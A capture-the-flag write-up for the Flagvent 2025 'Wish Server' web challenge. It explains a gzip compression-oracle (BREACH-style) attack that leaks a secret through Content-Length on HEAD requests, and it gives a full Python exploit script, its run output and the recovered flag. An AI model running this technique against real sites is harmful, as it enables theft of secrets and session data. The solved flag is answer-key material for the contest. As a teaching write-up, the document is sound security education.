FV25.17 - Wish Server

Difficulty
medium

Categories
web misc

Description
As part of the digitalization effort, Santa set up an website for people to submit wishes. This way, they no longer need to fax in their wishlists.

Author
logicaloverflow
Flagvent 2025 - Day 17 - wish-server.tar.gz

Solution

Investigating the Wish Server

The wish server website we’re presented with is a simple site that allows us to submit a wish, before redirecting us back to the same homepage. There are also several source code files included with the challenge.

We notice that wishlist.html prints out our wishes alongside the flag using the Tera templating engine:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Wish Server</title>
  </head>
  <body>
    <h1>Latest Wishes</h1>
    <ul>
      {% for wish in wishes %}<li>{{wish}}</li>
      {% endfor %}
    </ul>

    The flag is {{flag}}. Keep it save!

    Christmas is drawing near and we have made it through the year without
    losing the flag this year. Only a bit longer, Santa! Please don't lose it
    again.
  </body>
</html>

If we’re able to view this page, we can read the flag!

However, the Caddyfile restricts us from doing this:

:5825 {
	@head {
		method HEAD
	}
	@wishlist {
		method GET
		path /wishlist
	}

	route {
		respond @wishlist "Access denied" 403 {
		   close
		}

		method @head GET
		encode gzip zstd

		reverse_proxy http://localhost:5824
	}
}

GET requests to /wishlist are denied, but interestingly, HEAD requests are allowed and are rewritten to GET requests. We also notice the web server supports gzip and zstd encoding.

The main.rs file reveals that the flag is available via a FLAG environment variable.

Notably, we study this function:

async fn add_wish(State(list): State<SharedWishlist>, Form(wish): Form<WishForm>) -> Redirect {
    {
        let mut lock = list.write().expect("failed to get write lock");
        let list = &mut lock.latest_wishes;
        if list.len() == 8 {
            list.pop_front();
        }
        list.push_back(wish.wish);
    }
    Redirect::to("/")
}

This tells us the server only stores up to eight wishes in total, ejecting the oldest entry (via list.pop_front()) when the list is full.

Tail-Breach Compression Oracle Attack

If we make a request to /wishlist:

curl --head -I https://968c92ca-7cc9-46c7-9ba5-aac0343d3850.challs.flagvent.org:1337/

We receive:

HTTP/1.1 200 OK
Content-Length: 428
Content-Type: text/html; charset=utf-8
Date: Sun, 21 Dec 2025 12:56:04 GMT
Via: 1.1 Caddy

As we can only make HEAD requests, we don’t receive a body. However, we do receive a Content-Length, which changes based on the content of the eight entries in the wish vector. We now deeply consider that the server supports compression via gzip and zstd.

We know our flag begins with FV25{. If we insert a candidate like FV25{a eight times via the /add_wish endpoint, then make a HEAD request to /wishlist with a header that requests compression like Accept-Encoding: gzip, we’d expect the compression to optimise our candidate away, reducing the compressed size (and thus the Content-Length header returned). This happens because the flag is already on the page via the {{flag}} template. If our candidate is incorrect, the compressed size will remain the same. We can keep trying characters from a charset and slowly build up the real flag!

An important note is that, when submitting candidate flags, we use a TAIL_LENGTH to only submit a certain number of tail characters from the flag we’ve recovered so far. This forces the compressor to prefer matching our string against the {{flag}} output, rather than one of our other wishes or arbitrary HTML on the page. This takes a bit of trial and error: we start with a TAIL_LENGTH of 2 and then increase it to 3, which seems to be sufficient.

Therefore, the wish server is vulnerable to a Tail-Breach Compression Oracle Attack.
We write a script to help us exploit this:

import requests
import sys
import string

URL = 'https://968c92ca-7cc9-46c7-9ba5-aac0343d3850.challs.flagvent.org:1337/' 
CHARSET = string.ascii_letters + string.digits + "_@$#!{}-"
TAIL_LENGTH = 3

session = requests.Session()

def get_length(tail, char):
    data = {'wish': tail + char}
    
    for _ in range(8):
        session.post(f'{URL}/add_wish', data=data)

    headers = {'Accept-Encoding': 'gzip'}
    r = session.head(f'{URL}/wishlist', headers=headers)
    return int(r.headers['Content-Length'])

def solve():
    flag = 'FV25{'
    print(f"--- Tail-Breach Oracle ---")
    
    while not flag.endswith('}'):
        best_char = None
        min_len = sys.maxsize

        tail = flag[-TAIL_LENGTH:]
        
        for char in CHARSET:
            l = get_length(tail, char)
            
            if l < min_len:
                best_char = char
                min_len = l
            
            sys.stdout.write(f"\rFlag: {flag} | Testing: {char} | Best: {best_char} ({min_len})")
            sys.stdout.flush()

        if best_char:
            flag += best_char
            print(f"\n[+] Found: {best_char} | Flag: {flag}")
        else:
            print("\n[!] Failed to find next character. Check CHARSET or TAIL_LENGTH.")
            break

if __name__ == "__main__":
    solve()

Running the script above slowly reveals the daily flag:

--- Tail-Breach Oracle ---
Flag: FV25{ | Testing: - | Best: n (305)
[+] Found: n | Flag: FV25{n
Flag: FV25{n | Testing: - | Best: 0 (305)
[+] Found: 0 | Flag: FV25{n0
Flag: FV25{n0 | Testing: - | Best: _ (305)
[+] Found: _ | Flag: FV25{n0_
Flag: FV25{n0_ | Testing: - | Best: M (304)
[+] Found: M | Flag: FV25{n0_M
Flag: FV25{n0_M | Testing: - | Best: 0 (304)
[+] Found: 0 | Flag: FV25{n0_M0
Flag: FV25{n0_M0 | Testing: - | Best: r (304)
[+] Found: r | Flag: FV25{n0_M0r
Flag: FV25{n0_M0r | Testing: - | Best: 3 (304)
[+] Found: 3 | Flag: FV25{n0_M0r3
Flag: FV25{n0_M0r3 | Testing: - | Best: _ (304)
[+] Found: _ | Flag: FV25{n0_M0r3_
Flag: FV25{n0_M0r3_ | Testing: - | Best: f (304)
[+] Found: f | Flag: FV25{n0_M0r3_f
Flag: FV25{n0_M0r3_f | Testing: - | Best: 4 (304)
[+] Found: 4 | Flag: FV25{n0_M0r3_f4
Flag: FV25{n0_M0r3_f4 | Testing: - | Best: x (304)
[+] Found: x | Flag: FV25{n0_M0r3_f4x
Flag: FV25{n0_M0r3_f4x | Testing: - | Best: 3 (304)
[+] Found: 3 | Flag: FV25{n0_M0r3_f4x3
Flag: FV25{n0_M0r3_f4x3 | Testing: - | Best: s (304)
[+] Found: s | Flag: FV25{n0_M0r3_f4x3s
Flag: FV25{n0_M0r3_f4x3s | Testing: - | Best: _ (304)
[+] Found: _ | Flag: FV25{n0_M0r3_f4x3s_
Flag: FV25{n0_M0r3_f4x3s_ | Testing: - | Best: p (304)
[+] Found: p | Flag: FV25{n0_M0r3_f4x3s_p
Flag: FV25{n0_M0r3_f4x3s_p | Testing: - | Best: 1 (304)
[+] Found: 1 | Flag: FV25{n0_M0r3_f4x3s_p1
Flag: FV25{n0_M0r3_f4x3s_p1 | Testing: - | Best: s (304)
[+] Found: s | Flag: FV25{n0_M0r3_f4x3s_p1s
Flag: FV25{n0_M0r3_f4x3s_p1s | Testing: - | Best: } (304)
[+] Found: } | Flag: FV25{n0_M0r3_f4x3s_p1s}

Flag:

FV25{n0_M0r3_f4x3s_p1s}

External discussions


Leave a comment

(required)(will not be published)(required)

Comments

There are no comments yet. Be the first to add one!